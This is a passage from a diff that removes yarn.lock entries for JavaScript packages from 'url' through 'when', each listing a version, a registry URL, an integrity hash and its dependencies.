-  resolved "https://registry.yarnpkg.com/url/-/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1"
-  integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=
-  dependencies:
-    punycode "1.3.2"
-    querystring "0.2.0"
-
-use-composed-ref@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/use-composed-ref/-/use-composed-ref-1.1.0.tgz#9220e4e94a97b7b02d7d27eaeab0b37034438bbc"
-  integrity sha512-my1lNHGWsSDAhhVAT4MKs6IjBUtG6ZG11uUqexPH9PptiIZDQOzaF4f5tEbJ2+7qvNbtXNBbU3SfmN+fXlWDhg==
-  dependencies:
-    ts-essentials "^2.0.3"
-
-use-isomorphic-layout-effect@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.1.1.tgz#7bb6589170cd2987a152042f9084f9effb75c225"
-  integrity sha512-L7Evj8FGcwo/wpbv/qvSfrkHFtOpCzvM5yl2KVyDJoylVuSvzphiiasmjgQPttIGBAy2WKiBNR98q8w7PiNgKQ==
-
-use-latest@^1.0.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/use-latest/-/use-latest-1.2.0.tgz#a44f6572b8288e0972ec411bdd0840ada366f232"
-  integrity sha512-d2TEuG6nSLKQLAfW3By8mKr8HurOlTkul0sOpxbClIv4SQ4iOd7BYr7VIzdbktUCnv7dua/60xzd8igMU6jmyw==
-  dependencies:
-    use-isomorphic-layout-effect "^1.0.0"
-
-use@^3.1.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/use/-/use-3.1.1.tgz#d50c8cac79a19fbc20f2911f56eb973f4e10070f"
-  integrity sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==
-
-utf8@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/utf8/-/utf8-3.0.0.tgz#f052eed1364d696e769ef058b183df88c87f69d1"
-  integrity sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==
-
-util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-  integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
-
-util.promisify@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.0.0.tgz#440f7165a459c9a16dc145eb8e72f35687097030"
-  integrity sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==
-  dependencies:
-    define-properties "^1.1.2"
-    object.getownpropertydescriptors "^2.0.3"
-
-util.promisify@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.1.1.tgz#77832f57ced2c9478174149cae9b96e9918cd54b"
-  integrity sha512-/s3UsZUrIfa6xDhr7zZhnE9SLQ5RIXyYfiVnMMyMDzOc8WhWN4Nbh36H842OyurKbCDAesZOJaVyvmSl6fhGQw==
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    for-each "^0.3.3"
-    has-symbols "^1.0.1"
-    object.getownpropertydescriptors "^2.1.1"
-
-util.promisify@~1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.0.1.tgz#6baf7774b80eeb0f7520d8b81d07982a59abbaee"
-  integrity sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==
-  dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.2"
-    has-symbols "^1.0.1"
-    object.getownpropertydescriptors "^2.1.0"
-
-util@0.10.3:
-  version "0.10.3"
-  resolved "https://registry.yarnpkg.com/util/-/util-0.10.3.tgz#7afb1afe50805246489e3db7fe0ed379336ac0f9"
-  integrity sha1-evsa/lCAUkZInj23/g7TeTNqwPk=
-  dependencies:
-    inherits "2.0.1"
-
-util@^0.11.0:
-  version "0.11.1"
-  resolved "https://registry.yarnpkg.com/util/-/util-0.11.1.tgz#3236733720ec64bb27f6e26f421aaa2e1b588d61"
-  integrity sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==
-  dependencies:
-    inherits "2.0.3"
-
-utila@~0.4:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/utila/-/utila-0.4.0.tgz#8a16a05d445657a3aea5eecc5b12a4fa5379772c"
-  integrity sha1-ihagXURWV6Oupe7MWxKk+lN5dyw=
-
-utils-merge@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
-  integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=
-
-uuid@2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/uuid/-/uuid-2.0.1.tgz#c2a30dedb3e535d72ccf82e343941a50ba8533ac"
-  integrity sha1-wqMN7bPlNdcsz4LjQ5QaULqFM6w=
-
-uuid@3.3.2:
-  version "3.3.2"
-  resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.3.2.tgz#1b4af4955eb3077c501c23872fc6513811587131"
-  integrity sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==
-
-uuid@^3.3.2, uuid@^3.3.3, uuid@^3.4.0:
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.4.0.tgz#b23e4358afa8a202fe7a100af1f5f883f02007ee"
-  integrity sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==
-
-v8-compile-cache@^2.0.3:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz#2de19618c66dc247dcfb6f99338035d8245a2cee"
-  integrity sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==
-
-v8flags@^3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/v8flags/-/v8flags-3.2.0.tgz#b243e3b4dfd731fa774e7492128109a0fe66d656"
-  integrity sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==
-  dependencies:
-    homedir-polyfill "^1.0.1"
-
-validate-npm-package-license@^3.0.1:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz#fc91f6b9c7ba15c857f4cb2c5defeec39d4f410a"
-  integrity sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==
-  dependencies:
-    spdx-correct "^3.0.0"
-    spdx-expression-parse "^3.0.0"
-
-value-equal@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/value-equal/-/value-equal-1.0.1.tgz#1e0b794c734c5c0cade179c437d356d931a34d6c"
-  integrity sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw==
-
-value-or-function@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/value-or-function/-/value-or-function-3.0.0.tgz#1c243a50b595c1be54a754bfece8563b9ff8d813"
-  integrity sha1-HCQ6ULWVwb5Up1S/7OhWO5/42BM=
-
-varint@^5.0.0, varint@~5.0.0:
-  version "5.0.2"
-  resolved "https://registry.yarnpkg.com/varint/-/varint-5.0.2.tgz#5b47f8a947eb668b848e034dcfa87d0ff8a7f7a4"
-  integrity sha512-lKxKYG6H03yCZUpAGOPOsMcGxd1RHCu1iKvEHYDPmTyq2HueGhD73ssNBqqQWfvYs04G9iUFRvmAVLW20Jw6ow==
-
-vary@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
-  integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=
-
-vendors@^1.0.0:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/vendors/-/vendors-1.0.4.tgz#e2b800a53e7a29b93506c3cf41100d16c4c4ad8e"
-  integrity sha512-/juG65kTL4Cy2su4P8HjtkTxk6VmJDiOPBufWniqQ6wknac6jNiXS9vU+hO3wgusiyqWlzTbVHi0dyJqRONg3w==
-
-verror@1.10.0:
-  version "1.10.0"
-  resolved "https://registry.yarnpkg.com/verror/-/verror-1.10.0.tgz#3a105ca17053af55d6e270c1f8288682e18da400"
-  integrity sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=
-  dependencies:
-    assert-plus "^1.0.0"
-    core-util-is "1.0.2"
-    extsprintf "^1.2.0"
-
-vinyl-fs@^3.0.0:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/vinyl-fs/-/vinyl-fs-3.0.3.tgz#c85849405f67428feabbbd5c5dbdd64f47d31bc7"
-  integrity sha512-vIu34EkyNyJxmP0jscNzWBSygh7VWhqun6RmqVfXePrOwi9lhvRs//dOaGOTRUQr4tx7/zd26Tk5WeSVZitgng==
-  dependencies:
-    fs-mkdirp-stream "^1.0.0"
-    glob-stream "^6.1.0"
-    graceful-fs "^4.0.0"
-    is-valid-glob "^1.0.0"
-    lazystream "^1.0.0"
-    lead "^1.0.0"
-    object.assign "^4.0.4"
-    pumpify "^1.3.5"
-    readable-stream "^2.3.3"
-    remove-bom-buffer "^3.0.0"
-    remove-bom-stream "^1.2.0"
-    resolve-options "^1.1.0"
-    through2 "^2.0.0"
-    to-through "^2.0.0"
-    value-or-function "^3.0.0"
-    vinyl "^2.0.0"
-    vinyl-sourcemap "^1.1.0"
-
-vinyl-sourcemap@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/vinyl-sourcemap/-/vinyl-sourcemap-1.1.0.tgz#92a800593a38703a8cdb11d8b300ad4be63b3e16"
-  integrity sha1-kqgAWTo4cDqM2xHYswCtS+Y7PhY=
-  dependencies:
-    append-buffer "^1.0.2"
-    convert-source-map "^1.5.0"
-    graceful-fs "^4.1.6"
-    normalize-path "^2.1.1"
-    now-and-later "^2.0.0"
-    remove-bom-buffer "^3.0.0"
-    vinyl "^2.0.0"
-
-vinyl-sourcemaps-apply@^0.2.0, vinyl-sourcemaps-apply@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/vinyl-sourcemaps-apply/-/vinyl-sourcemaps-apply-0.2.1.tgz#ab6549d61d172c2b1b87be5c508d239c8ef87705"
-  integrity sha1-q2VJ1h0XLCsbh75cUI0jnI74dwU=
-  dependencies:
-    source-map "^0.5.1"
-
-vinyl@^2.0.0:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/vinyl/-/vinyl-2.2.1.tgz#23cfb8bbab5ece3803aa2c0a1eb28af7cbba1974"
-  integrity sha512-LII3bXRFBZLlezoG5FfZVcXflZgWP/4dCwKtxd5ky9+LOtM4CS3bIRQsmR1KMnMW07jpE8fqR2lcxPZ+8sJIcw==
-  dependencies:
-    clone "^2.1.1"
-    clone-buffer "^1.0.0"
-    clone-stats "^1.0.0"
-    cloneable-readable "^1.0.0"
-    remove-trailing-separator "^1.0.1"
-    replace-ext "^1.0.0"
-
-vm-browserify@^1.0.1:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/vm-browserify/-/vm-browserify-1.1.2.tgz#78641c488b8e6ca91a75f511e7a3b32a86e5dda0"
-  integrity sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==
-
-vscode-languageserver-types@^3.15.1:
-  version "3.16.0"
-  resolved "https://registry.yarnpkg.com/vscode-languageserver-types/-/vscode-languageserver-types-3.16.0.tgz#ecf393fc121ec6974b2da3efb3155644c514e247"
-  integrity sha512-k8luDIWJWyenLc5ToFQQMaSrqCHiLwyKPHKPQZ5zz21vM+vIVUSvsRpcbiECH4WR88K2XZqc4ScRcZ7nk/jbeA==
-
-w3c-hr-time@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz#0a89cdf5cc15822df9c360543676963e0cc308cd"
-  integrity sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==
-  dependencies:
-    browser-process-hrtime "^1.0.0"
-
-w3c-xmlserializer@^1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/w3c-xmlserializer/-/w3c-xmlserializer-1.1.2.tgz#30485ca7d70a6fd052420a3d12fd90e6339ce794"
-  integrity sha512-p10l/ayESzrBMYWRID6xbuCKh2Fp77+sA0doRuGn4tTIMrrZVeqfpKjXHY+oDh3K4nLdPgNwMTVP6Vp4pvqbNg==
-  dependencies:
-    domexception "^1.0.1"
-    webidl-conversions "^4.0.2"
-    xml-name-validator "^3.0.0"
-
-wait-for-expect@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/wait-for-expect/-/wait-for-expect-3.0.2.tgz#d2f14b2f7b778c9b82144109c8fa89ceaadaa463"
-  integrity sha512-cfS1+DZxuav1aBYbaO/kE06EOS8yRw7qOFoD3XtjTkYvCvh3zUvNST8DXK/nPaeqIzIv3P3kL3lRJn8iwOiSag==
-
-walker@^1.0.7, walker@~1.0.5:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.7.tgz#2f7f9b8fd10d677262b18a884e28d19618e028fb"
-  integrity sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=
-  dependencies:
-    makeerror "1.0.x"
-
-warning@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/warning/-/warning-3.0.0.tgz#32e5377cb572de4ab04753bdf8821c01ed605b7c"
-  integrity sha1-MuU3fLVy3kqwR1O9+IIcAe1gW3w=
-  dependencies:
-    loose-envify "^1.0.0"
-
-warning@^4.0.1, warning@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/warning/-/warning-4.0.3.tgz#16e9e077eb8a86d6af7d64aa1e05fd85b4678ca3"
-  integrity sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==
-  dependencies:
-    loose-envify "^1.0.0"
-
-watchpack-chokidar2@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/watchpack-chokidar2/-/watchpack-chokidar2-2.0.1.tgz#38500072ee6ece66f3769936950ea1771be1c957"
-  integrity sha512-nCFfBIPKr5Sh61s4LPpy1Wtfi0HE8isJ3d2Yb5/Ppw2P2B/3eVSEBjKfN0fmHJSK14+31KwMKmcrzs2GM4P0Ww==
-  dependencies:
-    chokidar "^2.1.8"
-
-watchpack@^1.6.0:
-  version "1.7.5"
-  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-1.7.5.tgz#1267e6c55e0b9b5be44c2023aed5437a2c26c453"
-  integrity sha512-9P3MWk6SrKjHsGkLT2KHXdQ/9SNkyoJbabxnKOoJepsvJjJG8uYTR3yTPxPQvNDI3w4Nz1xnE0TLHK4RIVe/MQ==
-  dependencies:
-    graceful-fs "^4.1.2"
-    neo-async "^2.5.0"
-  optionalDependencies:
-    chokidar "^3.4.1"
-    watchpack-chokidar2 "^2.0.1"
-
-wbuf@^1.1.0, wbuf@^1.7.3:
-  version "1.7.3"
-  resolved "https://registry.yarnpkg.com/wbuf/-/wbuf-1.7.3.tgz#c1d8d149316d3ea852848895cb6a0bfe887b87df"
-  integrity sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==
-  dependencies:
-    minimalistic-assert "^1.0.0"
-
-web3-provider-engine@16.0.1:
-  version "16.0.1"
-  resolved "https://registry.yarnpkg.com/web3-provider-engine/-/web3-provider-engine-16.0.1.tgz#2600a39ede364cdc0a1fc773bf40a94f2177e605"
-  integrity sha512-/Eglt2aocXMBiDj7Se/lyZnNDaHBaoJlaUfbP5HkLJQC/HlGbR+3/W+dINirlJDhh7b54DzgykqY7ksaU5QgTg==
-  dependencies:
-    async "^2.5.0"
-    backoff "^2.5.0"
-    clone "^2.0.0"
-    cross-fetch "^2.1.0"
-    eth-block-tracker "^4.4.2"
-    eth-json-rpc-filters "^4.2.1"
-    eth-json-rpc-infura "^5.1.0"
-    eth-json-rpc-middleware "^6.0.0"
-    eth-rpc-errors "^3.0.0"
-    eth-sig-util "^1.4.2"
-    ethereumjs-block "^1.2.2"
-    ethereumjs-tx "^1.2.0"
-    ethereumjs-util "^5.1.5"
-    ethereumjs-vm "^2.3.4"
-    json-stable-stringify "^1.0.1"
-    promise-to-callback "^1.0.0"
-    readable-stream "^2.2.9"
-    request "^2.85.0"
-    semaphore "^1.0.3"
-    ws "^5.1.1"
-    xhr "^2.2.0"
-    xtend "^4.0.1"
-
-web3-provider-engine@^15.0.7:
-  version "15.0.12"
-  resolved "https://registry.yarnpkg.com/web3-provider-engine/-/web3-provider-engine-15.0.12.tgz#24d7f2f6fb6de856824c7306291018c4fc543ac3"
-  integrity sha512-/OfhQalKPND1iB5ggvGuYF0+SIb2Qj5OFTrT2VrZWP79UhMTdP7T+L2FtblmRdCeOetoAzZHdBaIwLOZsmIX+w==
-  dependencies:
-    async "^2.5.0"
-    backoff "^2.5.0"
-    clone "^2.0.0"
-    cross-fetch "^2.1.0"
-    eth-block-tracker "^4.4.2"
-    eth-json-rpc-errors "^2.0.2"
-    eth-json-rpc-filters "^4.1.1"
-    eth-json-rpc-infura "^4.0.1"
-    eth-json-rpc-middleware "^4.1.5"
-    eth-sig-util "^1.4.2"
-    ethereumjs-block "^1.2.2"
-    ethereumjs-tx "^1.2.0"
-    ethereumjs-util "^5.1.5"
-    ethereumjs-vm "^2.3.4"
-    json-stable-stringify "^1.0.1"
-    promise-to-callback "^1.0.0"
-    readable-stream "^2.2.9"
-    request "^2.85.0"
-    semaphore "^1.0.3"
-    ws "^5.1.1"
-    xhr "^2.2.0"
-    xtend "^4.0.1"
-
-web3modal@^1.9.1:
-  version "1.9.3"
-  resolved "https://registry.yarnpkg.com/web3modal/-/web3modal-1.9.3.tgz#d965e565875ad70684fb7e735a69c719eb5e8d07"
-  integrity sha512-Z8mVHeTFa9eBNKvRipJfZDoJgeHBbh/WDLjzZZLgFmoBJgT81mc5blnh4mUjtButLCJAouV8iN4+2c5ebYvJFA==
-  dependencies:
-    detect-browser "^5.1.0"
-    prop-types "^15.7.2"
-    react "^16.8.6"
-    react-dom "^16.8.6"
-    styled-components "^5.1.1"
-    tslib "^1.10.0"
-
-webidl-conversions@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-4.0.2.tgz#a855980b1f0b6b359ba1d5d9fb39ae941faa63ad"
-  integrity sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==
-
-webpack-dev-middleware@^3.7.2:
-  version "3.7.3"
-  resolved "https://registry.yarnpkg.com/webpack-dev-middleware/-/webpack-dev-middleware-3.7.3.tgz#0639372b143262e2b84ab95d3b91a7597061c2c5"
-  integrity sha512-djelc/zGiz9nZj/U7PTBi2ViorGJXEWo/3ltkPbDyxCXhhEXkW0ce99falaok4TPj+AsxLiXJR0EBOb0zh9fKQ==
-  dependencies:
-    memory-fs "^0.4.1"
-    mime "^2.4.4"
-    mkdirp "^0.5.1"
-    range-parser "^1.2.1"
-    webpack-log "^2.0.0"
-
-webpack-dev-server@3.11.0:
-  version "3.11.0"
-  resolved "https://registry.yarnpkg.com/webpack-dev-server/-/webpack-dev-server-3.11.0.tgz#8f154a3bce1bcfd1cc618ef4e703278855e7ff8c"
-  integrity sha512-PUxZ+oSTxogFQgkTtFndEtJIPNmml7ExwufBZ9L2/Xyyd5PnOL5UreWe5ZT7IU25DSdykL9p1MLQzmLh2ljSeg==
-  dependencies:
-    ansi-html "0.0.7"
-    bonjour "^3.5.0"
-    chokidar "^2.1.8"
-    compression "^1.7.4"
-    connect-history-api-fallback "^1.6.0"
-    debug "^4.1.1"
-    del "^4.1.1"
-    express "^4.17.1"
-    html-entities "^1.3.1"
-    http-proxy-middleware "0.19.1"
-    import-local "^2.0.0"
-    internal-ip "^4.3.0"
-    ip "^1.1.5"
-    is-absolute-url "^3.0.3"
-    killable "^1.0.1"
-    loglevel "^1.6.8"
-    opn "^5.5.0"
-    p-retry "^3.0.1"
-    portfinder "^1.0.26"
-    schema-utils "^1.0.0"
-    selfsigned "^1.10.7"
-    semver "^6.3.0"
-    serve-index "^1.9.1"
-    sockjs "0.3.20"
-    sockjs-client "1.4.0"
-    spdy "^4.0.2"
-    strip-ansi "^3.0.1"
-    supports-color "^6.1.0"
-    url "^0.11.0"
-    webpack-dev-middleware "^3.7.2"
-    webpack-log "^2.0.0"
-    ws "^6.2.1"
-    yargs "^13.3.2"
-
-webpack-log@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/webpack-log/-/webpack-log-2.0.0.tgz#5b7928e0637593f119d32f6227c1e0ac31e1b47f"
-  integrity sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==
-  dependencies:
-    ansi-colors "^3.0.0"
-    uuid "^3.3.2"
-
-webpack-manifest-plugin@2.2.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/webpack-manifest-plugin/-/webpack-manifest-plugin-2.2.0.tgz#19ca69b435b0baec7e29fbe90fb4015de2de4f16"
-  integrity sha512-9S6YyKKKh/Oz/eryM1RyLVDVmy3NSPV0JXMRhZ18fJsq+AwGxUY34X54VNwkzYcEmEkDwNxuEOboCZEebJXBAQ==
-  dependencies:
-    fs-extra "^7.0.0"
-    lodash ">=3.5 <5"
-    object.entries "^1.1.0"
-    tapable "^1.0.0"
-
-webpack-sources@^1.1.0, webpack-sources@^1.4.0, webpack-sources@^1.4.1, webpack-sources@^1.4.3:
-  version "1.4.3"
-  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-1.4.3.tgz#eedd8ec0b928fbf1cbfe994e22d2d890f330a933"
-  integrity sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==
-  dependencies:
-    source-list-map "^2.0.0"
-    source-map "~0.6.1"
-
-webpack@4.42.0:
-  version "4.42.0"
-  resolved "https://registry.yarnpkg.com/webpack/-/webpack-4.42.0.tgz#b901635dd6179391d90740a63c93f76f39883eb8"
-  integrity sha512-EzJRHvwQyBiYrYqhyjW9AqM90dE4+s1/XtCfn7uWg6cS72zH+2VPFAlsnW0+W0cDi0XRjNKUMoJtpSi50+Ph6w==
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-module-context" "1.8.5"
-    "@webassemblyjs/wasm-edit" "1.8.5"
-    "@webassemblyjs/wasm-parser" "1.8.5"
-    acorn "^6.2.1"
-    ajv "^6.10.2"
-    ajv-keywords "^3.4.1"
-    chrome-trace-event "^1.0.2"
-    enhanced-resolve "^4.1.0"
-    eslint-scope "^4.0.3"
-    json-parse-better-errors "^1.0.2"
-    loader-runner "^2.4.0"
-    loader-utils "^1.2.3"
-    memory-fs "^0.4.1"
-    micromatch "^3.1.10"
-    mkdirp "^0.5.1"
-    neo-async "^2.6.1"
-    node-libs-browser "^2.2.1"
-    schema-utils "^1.0.0"
-    tapable "^1.1.3"
-    terser-webpack-plugin "^1.4.3"
-    watchpack "^1.6.0"
-    webpack-sources "^1.4.1"
-
-webrtc-adapter@^7.2.1:
-  version "7.7.1"
-  resolved "https://registry.yarnpkg.com/webrtc-adapter/-/webrtc-adapter-7.7.1.tgz#b2c227a6144983b35057df67bd984a7d4bfd17f1"
-  integrity sha512-TbrbBmiQBL9n0/5bvDdORc6ZfRY/Z7JnEj+EYOD1ghseZdpJ+nF2yx14k3LgQKc7JZnG7HAcL+zHnY25So9d7A==
-  dependencies:
-    rtcpeerconnection-shim "^1.2.15"
-    sdp "^2.12.0"
-
-websocket-driver@0.6.5:
-  version "0.6.5"
-  resolved "https://registry.yarnpkg.com/websocket-driver/-/websocket-driver-0.6.5.tgz#5cb2556ceb85f4373c6d8238aa691c8454e13a36"
-  integrity sha1-XLJVbOuF9Dc8bYI4qmkchFThOjY=
-  dependencies:
-    websocket-extensions ">=0.1.1"
-
-websocket-driver@>=0.5.1:
-  version "0.7.4"
-  resolved "https://registry.yarnpkg.com/websocket-driver/-/websocket-driver-0.7.4.tgz#89ad5295bbf64b480abcba31e4953aca706f5760"
-  integrity sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==
-  dependencies:
-    http-parser-js ">=0.5.1"
-    safe-buffer ">=5.1.0"
-    websocket-extensions ">=0.1.1"
-
-websocket-extensions@>=0.1.1:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/websocket-extensions/-/websocket-extensions-0.1.4.tgz#7f8473bc839dfd87608adb95d7eb075211578a42"
-  integrity sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==
-
-whatwg-encoding@^1.0.1, whatwg-encoding@^1.0.3, whatwg-encoding@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz#5abacf777c32166a51d085d6b4f3e7d27113ddb0"
-  integrity sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==
-  dependencies:
-    iconv-lite "0.4.24"
-
-whatwg-fetch@2.0.4:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz#dde6a5df315f9d39991aa17621853d720b85566f"
-  integrity sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==
-
-whatwg-fetch@^3.0.0, whatwg-fetch@^3.4.1:
-  version "3.6.2"
-  resolved "https://registry.yarnpkg.com/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz#dced24f37f2624ed0281725d51d0e2e3fe677f8c"
-  integrity sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==
-
-whatwg-mimetype@^2.1.0, whatwg-mimetype@^2.2.0, whatwg-mimetype@^2.3.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz#3d4b1e0312d2079879f826aff18dbeeca5960fbf"
-  integrity sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==
-
-whatwg-url@^6.4.1:
-  version "6.5.0"
-  resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-6.5.0.tgz#f2df02bff176fd65070df74ad5ccbb5a199965a8"
-  integrity sha512-rhRZRqx/TLJQWUpQ6bmrt2UV4f0HCQ463yQuONJqC6fO2VoEb1pTYddbe59SkYq87aoM5A3bdhMZiUiVws+fzQ==
-  dependencies:
-    lodash.sortby "^4.7.0"
-    tr46 "^1.0.1"
-    webidl-conversions "^4.0.2"
-
-whatwg-url@^7.0.0:
-  version "7.1.0"
-  resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-7.1.0.tgz#c2c492f1eca612988efd3d2266be1b9fc6170d06"
-  integrity sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==
-  dependencies:
-    lodash.sortby "^4.7.0"
-    tr46 "^1.0.1"
-    webidl-conversions "^4.0.2"
-
-when@^3.7.8:
-  version "3.7.8"
